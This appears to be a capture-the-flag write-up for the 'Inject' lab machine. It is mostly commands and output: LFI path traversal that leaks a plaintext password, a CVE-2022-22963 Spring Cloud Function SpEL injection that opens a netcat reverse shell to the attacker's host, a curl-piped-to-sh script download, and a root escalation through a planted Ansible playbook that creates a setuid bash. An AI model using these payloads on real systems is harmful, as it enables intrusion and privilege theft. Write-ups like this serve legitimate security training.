Inject
Recon
HTTP (8080)
2 users from /blog. admin and Brandon Auger, but none of the posts are readable.
http://10.129.228.213:8080/upload accepts only images, upload one valid one. Get redirected to http://10.129.228.213:8080/show_image?img=kraken.png
LFI is possible
The vulnerability oddly enough also supports directory listing so you can navigate the filesystem.
└─$ curl 'http://10.129.228.213:8080/show_image?img=../resources/application.properties'
server.tomcat.relaxed-query-chars=|,{,},[,]
server.error.whitelabel.enabled=false
spring.main.allow-circular-references=true
spring.servlet.multipart.max-file-size=1MB
spring.servlet.multipart.max-request-size=2MB
spring.cloud.config.uri=
spring.cloud.config.allow-override=true
debug=false
server.error.include-message=alwaysWe can also enumerate users and this WebApp seems to be running as frank because we have read permissions.
└─$ curl http://10.129.228.213:8080/show_image?img=../../../../../../../home/frank/.m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>Password doesn't work on SSH.
└─$ curl http://10.129.228.213:8080/show_image?img=../../../../../../../var/www/WebApp/pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>WebApp</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>WebApp</name>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>11</java.version>
</properties>
<dependencies>
<dependency>
<groupId>com.sun.activation</groupId>
<artifactId>javax.activation</artifactId>
<version>1.2.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
<version>5.1.3</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>webjars-locator-core</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>${parent.version}</version>
</plugin>
</plugins>
<finalName>spring-webapp</finalName>
</build>
</project>CVE-2022-22965: Docker PoC for CVE-2022-22965 with Spring Boot version 2.6.5 -- Doesn't work.
CVE-2022-22963-PoC -- works
└─$ curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("busybox nc 10.10.14.42 4444 -e /bin/bash")' -d '' http://10.129.228.213:8080/functionRouter -s | jq .
script /dev/null -qc /bin/bash
frank@inject:~$ id
uid=1000(frank) gid=1000(frank) groups=1000(frank)
frank@inject:~$ su - phil
su - phil
Password: DocPhillovestoInject123
phil@inject:~$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)Password authentication didn't work on SSH, but it works locally, meaning SSH has password disabled.
SSH
Upgrade to SSH
└─$ ssh-keygen -f id_rsa -P x -q
└─$ cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMciiJD30Ulyy6yEipvjULwb/jORUPUJYA1PYqtNqT5x woyag@kraken
---
phil@inject:~/.ssh$ mkdir ~/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMciiJD30Ulyy6yEipvjULwb/jORUPUJYA1PYqtNqT5x woyag@kraken' > ~/.ssh/authorized_keysStill doesn't work, check SSH configuration:
phil@inject:~/.ssh$ grep -E '^DenyUsers|^DenyGroups' /etc/ssh/sshd_config
DenyUsers philOnly phil user is denied access... We can SSH as frank and then elevate then.
User.txt
phil@inject:~$ cat user.txt
663a15ed16a9c6f45bcb6aa7c78fa3dcPrivilege Escalation
phil@inject:~$ curl 10.10.14.42/lp.sh|sh|tee /tmp/lp.log
╔════════════════════════════════════════════════╗
════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════
╚════════════════════════════════════════════════╝
╔══════════╣ Cleaned processes
...
root 916 0.0 0.0 6816 2928 ? Ss 19:56 0:00 /usr/sbin/cron -f
root 8850 0.1 0.0 8356 3332 ? S 21:06 0:00 _ /usr/sbin/CRON -f
root 8853 0.0 0.0 2608 596 ? Ss 21:06 0:00 _ /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/
root 8856 0.0 0.0 5476 516 ? S 21:06 0:00 _ sleep 10
...
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/tmp/hsperfdata_frank/782
/tmp/lp.log
/opt/automation/tasks/playbook_1.yml
/var/log/syslog
...
phil@inject:/opt/automation/tasks$ cat /opt/automation/tasks/playbook_1.yml
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: startedThere's some ansible cronjob which probably runs these playbooks and then removes them.
phil@inject:/opt/automation/tasks$ nano letmein.yml
phil@inject:/opt/automation/tasks$ cat letmein.yml
- hosts: localhost
tasks:
- name: RShell
command: install -m4777 /bin/bash /tmp/rootbashAfter ~10 seconds
phil@inject:/opt/automation/tasks$ /tmp/rootbash -p
rootbash-5.0# id
uid=1001(phil) gid=1001(phil) euid=0(root) groups=1001(phil),50(staff)Root.txt
rootbash-5.0# cd /root
rootbash-5.0# cat root.txt
67f5ef862b1bfe0af73e7dbc60475e72Last updated